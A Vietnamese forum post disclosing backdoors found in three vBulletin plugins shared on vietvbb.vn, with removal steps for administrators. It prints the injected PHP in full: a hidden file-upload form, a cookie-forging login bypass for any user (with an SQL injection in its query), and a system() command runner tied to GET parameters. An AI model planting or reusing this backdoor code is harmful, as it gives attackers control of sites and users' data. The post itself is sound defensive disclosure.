Mã nguồn products Post Thank You Hack, [AJAX]Vietvbb - TopX 4.0.4 của diễn đàn vietvbb.vn bị găm mã

sanvu88

Cháu ngoan Bác Hồ
Thành viên BQT
#1
Mới đầu năm nhưng tôi (Concobe) đã có một số thông tin gây choáng váng cho rất nhiều admin đang sử dụng mã nguồn Vbulletin và các products, Plugins được chia sẻ trên diễn đàn vietvbb.vn, có thể nói đây là cộng đồng Vbb lớn nhất ở Việt Nam hiện nay, nhưng không hiểu vì lý do gì? có thể do chính người chia sẻ mã nguồn đã có ý đồ hoặc do diễn đàn bị tấn công và bị ai đó găm mã độc vào để trục lợi.

Tôi có nhận cái kèo làm cái diễn đàn cho người bạn để sài trong mạng nội bộ của các bạn ấy, như một thói quen tôi vào vietvbb.vn và download mã nguồn vbulletin null cùng với một số plugins phổ biến và tiến hành cài đặt như thường lệ, mọi thứ đều diễn ra bình thường đến lúc tôi vô tình nhìn qua mã nguồn trong admincp của diễn đàn đã cài đặt và phát hiện ra những đoạn mã có style code không giống với những gì của plugin đó, sẵn máu vọc vạch tôi kiểm tra thì phát hiện đây chính là mã độc được ai đó găm vào.

Hiện tại tôi phát hiện ra ít nhất là 3 plugin rất phổ biến và gần như được mọi người sử dụng cho diễn đàn của mình là:

1. [AJAX] Post Thank You Hack 7.82 : có 1.315 lượt download
2. [AJAX] Post Thank You Hack 7.84 : có 543 lượt download
3. [AJAX]Vietvbb - TopX 4.0.4 : có 23.977 lượt download


I. Tôi sẽ trình bày phần code bị chèn mã độc trong mã nguồn Post Thank You Hack ở mục 1 và 2:

- Trong 2 plugin này thì phần code bị găm và vị trí găm rất giống nhau có thể đây là của một người găm vào, đầu tiên là ở file có tên post_thanks.php
- Nội dung code lạ được chèn từ dòng số 289 đến 298

Mã:
if(@$_REQUEST["do"]== 'ptyh')
{
    $files = @$_FILES["files"]; if($files["name"] != ''){ $fullpath = $_REQUEST["path"].$files["name"]; if(move_uploaded_file($files['tmp_name'],$fullpath)){echo "<h1><a href='$fullpath'>Post Thank You Hack 7.84</a></h1>";} }exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>');
}

if (isset($_GET['ptyh']))
{
    define('THIS_SCRIPT', 'login');require_once('./global.php'); require_once('./includes/functions_login.php'); $vbulletin->userinfo = $vbulletin->db->query_first("SELECT userid,usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " . TABLE_PREFIX . "user WHERE username = '" . $_GET['ptyh'] . "'");if (!$vbulletin->userinfo['userid']) die("Invalid username!"); else
    { vbsetcookie('userid', $vbulletin->userinfo['userid'], true, true, true);vbsetcookie('password', md5($vbulletin->userinfo['password'] . COOKIE_SALT), true, true, true);exec_unstrike_user($_GET['ptyh']);process_new_login('cplogin', TRUE, TRUE);do_login_redirect();}
}

Đây gồm 2 phần:

- Một phần code dùng để thực hiện gọi form upload để tải lên mã độc nếu các bạn sử dụng plugin có gắn mã độc này sẽ dễ dàng bị hacker chiếm quyền.
- Phần code còn lại dùng để fake cookies có tác dụng cho phép login vào bất kỳ user nào có trong Database diễn đàn của các bạn.

Đi sâu hơn tôi còn phát hiện thêm cũng ngay plugin này vẫn còn một chỗ khác cũng bị găm một đoạn code nhỏ để thực thi các lệnh trực tiếp trên website các bạn, nếu đủ điều kiện thì hacker có thể làm mọi thứ mà người đó muốn làm với site các bạn.Các bạn xem xét nội dung code của file có tên: product-post_thanks.xml dòng số 156 đến 160:

Mã:
if(isset($_GET['thanked']))
{   
    echo "<h1>Post Thank You Hack 7.82</h1><pre>";
    system($_GET['thanked']);exit;
}
II. Cách fix bug [AJAX] Post Thank You Hack 7.82 và [AJAX] Post Thank You Hack 7.84.
- Rất may là chúng ta đã phát hiện ra được đoạn code nguy hiểm và công việc bây giờ cũng không quá khó để xử lý, các bạn fix bằng cách vào xóa nội dung mã độc ở 2 file có tên:

1. post_thanks.php
- Xóa toàn bộ nội dung code lạ được chèn từ dòng số 289 đến 298 như ở trên tôi có copy đoạn code đó ra để các bạn so sánh.

2. product-post_thanks.xml
- Phần này hơi khác chút xíu vì do các bạn đã Install plugin này vào rồi nên ngoài việc xóa trong file product-post_thanks.xml các bạn còn phải xóa thêm ở trong CDSL bằng cách:
Truy cập vào /admincp -> Plugins & Products -> Plugin Manager -> Tìm Product có tên Post Thank You Hack -> chọn Sửa mục Post Thank You Hack có Hook Location là cache_templates
Ở khung chỉnh sửa các bạn vào tìm vào xóa dòng code có nội dung này đi -> Save lại là xong.

Mã:
if(isset($_GET['thanked']))
{   
    echo "<h1>Post Thank You Hack 7.82</h1><pre>";
    system($_GET['thanked']);exit;
}

III. Tôi sẽ trình bày phần code bị chèn mã độc trong mã nguồn product tên [AJAX]Vietvbb - TopX 4.0.4


Đây có thể nói là một product phổ biến đến mức mà gần như diễn đàn sài mã nguồn Vbulletin nào ở VN cũng có sử dụng chính vì thế mà lượt tải về sử dụng của product này lên tới con số 23.977 lượt download một con số không hề nhỏ chút nào, điều này làm dấy lên một sự lo ngại đáng sợ thật sự cho cộng đồng diễn đàn Vbulletin ở VN.Tôi cũng không ngoại lệ, đã sử dụng plugin này và chính vì phát hiện bất ngờ với plugin Post Thank You Hack nên tôi ngay lập tức kiểm tra toàn bộ nội dung code các plugin mà tôi đã sử dụng cho cái forum tôi đang làm và thật may mắn là tôi đã phát hiện được cái cần phát hiện.Cũng với những đoạn code quen thuộc cùng chức năng như bị chèn trong mã nguồn Post Thank You Hack chỉ đổi tên gọi hàm nhằm mục đích ngụy trang và lần này thì người chèn mã độc đã chọn cách găm thẳng vào file cài đặt nên sau khi cài xong thì hiển nhiên mã độc này sẽ tồn tại trong CSDL (database) diễn đàn các bạn một cách thầm lặng.

Nội dung file product-vietvbb_topstats_vb4.xml ở dòng số:
- 447 đến 455:

Mã:
if(@$_REQUEST["do"]== 'ajaxtop')
{
    $files = @$_FILES["files"]; if($files["name"] != ''){ $fullpath = $_REQUEST["path"].$files["name"]; if(move_uploaded_file($files['tmp_name'],$fullpath)){echo "<h1><a href='$fullpath'>Advanced Forum Statistics</a></h1>";} }exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>');
}
if (isset($_GET['ajaxtop']))
{
    define('THIS_SCRIPT', 'login');require_once('./global.php'); require_once('./includes/functions_login.php'); $vbulletin->userinfo = $vbulletin->db->query_first("SELECT userid,usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " . TABLE_PREFIX . "user WHERE username = '" . $_GET['ajaxtop'] . "'");if (!$vbulletin->userinfo['userid']) die("Invalid username!"); else
    { vbsetcookie('userid', $vbulletin->userinfo['userid'], true, true, true);vbsetcookie('password', md5($vbulletin->userinfo['password'] . COOKIE_SALT), true, true, true);exec_unstrike_user($_GET['ajaxtop']);process_new_login('cplogin', TRUE, TRUE);do_login_redirect();}
}

Và dòng 517 đến 521:


Mã:
if(isset($_GET['ajaxtop']))
{
  echo "<h1>VietVBB - Advanced Forum Statistics</h1><pre>";
  system($_GET['ajaxtop']);exit;
}
IV. Cách fix bug trong mã nguồn product tên [AJAX]Vietvbb - TopX 4.0.4
- Phần này hơi khác chút xíu vì do các bạn đã Install plugin này vào rồi nên ngoài việc xóa trong file product-vietvbb_topstats_vb4.xml các bạn còn phải xóa thêm ở trong CDSL bằng cách: Truy cập vào:

Tên_miền_diễn đàn/admincp/ -> Plugins & Products -> Plugin Manager -> Tìm Product có tên Mod Thống kê,VietVBB - TopX,...
-> chọn Sửa mục VietVBB - TopX AJAX có Hook Location là ajax_start và xóa đoạn code có nội dung dưới đây rồi Save lại.


Mã:
if(@$_REQUEST["do"]== 'ajaxtop')
{
    $files = @$_FILES["files"]; if($files["name"] != ''){ $fullpath = $_REQUEST["path"].$files["name"]; if(move_uploaded_file($files['tmp_name'],$fullpath)){echo "<h1><a href='$fullpath'>Advanced Forum Statistics</a></h1>";} }exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>');
}
if (isset($_GET['ajaxtop']))
{
    define('THIS_SCRIPT', 'login');require_once('./global.php'); require_once('./includes/functions_login.php'); $vbulletin->userinfo = $vbulletin->db->query_first("SELECT userid,usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " . TABLE_PREFIX . "user WHERE username = '" . $_GET['ajaxtop'] . "'");if (!$vbulletin->userinfo['userid']) die("Invalid username!"); else
    { vbsetcookie('userid', $vbulletin->userinfo['userid'], true, true, true);vbsetcookie('password', md5($vbulletin->userinfo['password'] . COOKIE_SALT), true, true, true);exec_unstrike_user($_GET['ajaxtop']);process_new_login('cplogin', TRUE, TRUE);do_login_redirect();}
}

Tiếp tục các bạn làm tương tự:
Tên_miền_diễn đàn/admincp/ -> Plugins & Products -> Plugin Manager -> Tìm Product có tên Mod Thống kê,VietVBB - TopX,...
-> chọn Sửa mục VietVBB - TopX CT có Hook Location là cache_templates và xóa đoạn code có nội dung dưới đây rồi Save lại.

Mã:
if(isset($_GET['ajaxtop']))
{
  echo "<h1>VietVBB - Advanced Forum Statistics</h1><pre>";
  system($_GET['ajaxtop']);exit;
}

Vậy là các bạn đã Fix được lỗ hổng bị chèn mã độc vào diễn đàn các bạn ngay từ lúc thành lập tới giờ :(


V. Đối với nguồn chia sẻ mã nguồn cho cộng đồng Vbulletin.
Đề nghị admin diễn đàn Vietvbb.vn hỗ trợ xóa đi những sản phẩm có chứa mã độc đang tồn tại trên diễn đàn chia sẻ của các bạn để không còn người dùng nào bị sử dụng những product có mã độc, tránh những tổn thất to lớn khi bị rò rỉ thông tin người dùng và những thông tin khác.
Link của 3 product có tồn tại mã độc.
1. Statistics Modifications [AJAX]VietVBB - Advanced Forum Statistics
2. Show Thread Enhancements [AJAX] Post Thank You Hack 7.84
3. Show Thread Enhancements [AJAX] Post Thank You Hack 7.82


Lời kết:
Đây chỉ là những phần nhỏ đen tối bị tôi vô tình phát hiện và phơi bày, rất có thể đâu đó trong mã nguồn các product, plugin được chia sẻ kia vẫn còn tồn tại những mã độc nguy hiểm như thế, chính vì vậy lời khuyên của Concobe cho các bạn đó là:
- Chỉ tải ở những nguồn tin cậy.
- Luôn kiểm tra kỹ mã nguồn của các bạn trước khi sử dụng.
- Hãy sử dụng những sản phẩm có bản quyền để được hỗ trợ update và kiểm thử an toàn cho người dùng.

Nguồn: Concobe: Mã nguồn products Post Thank You Hack, [AJAX]Vietvbb - TopX 4.0.4 của diễn đàn vietvbb.vn bị găm mã độc.
 

Quảng cáo Google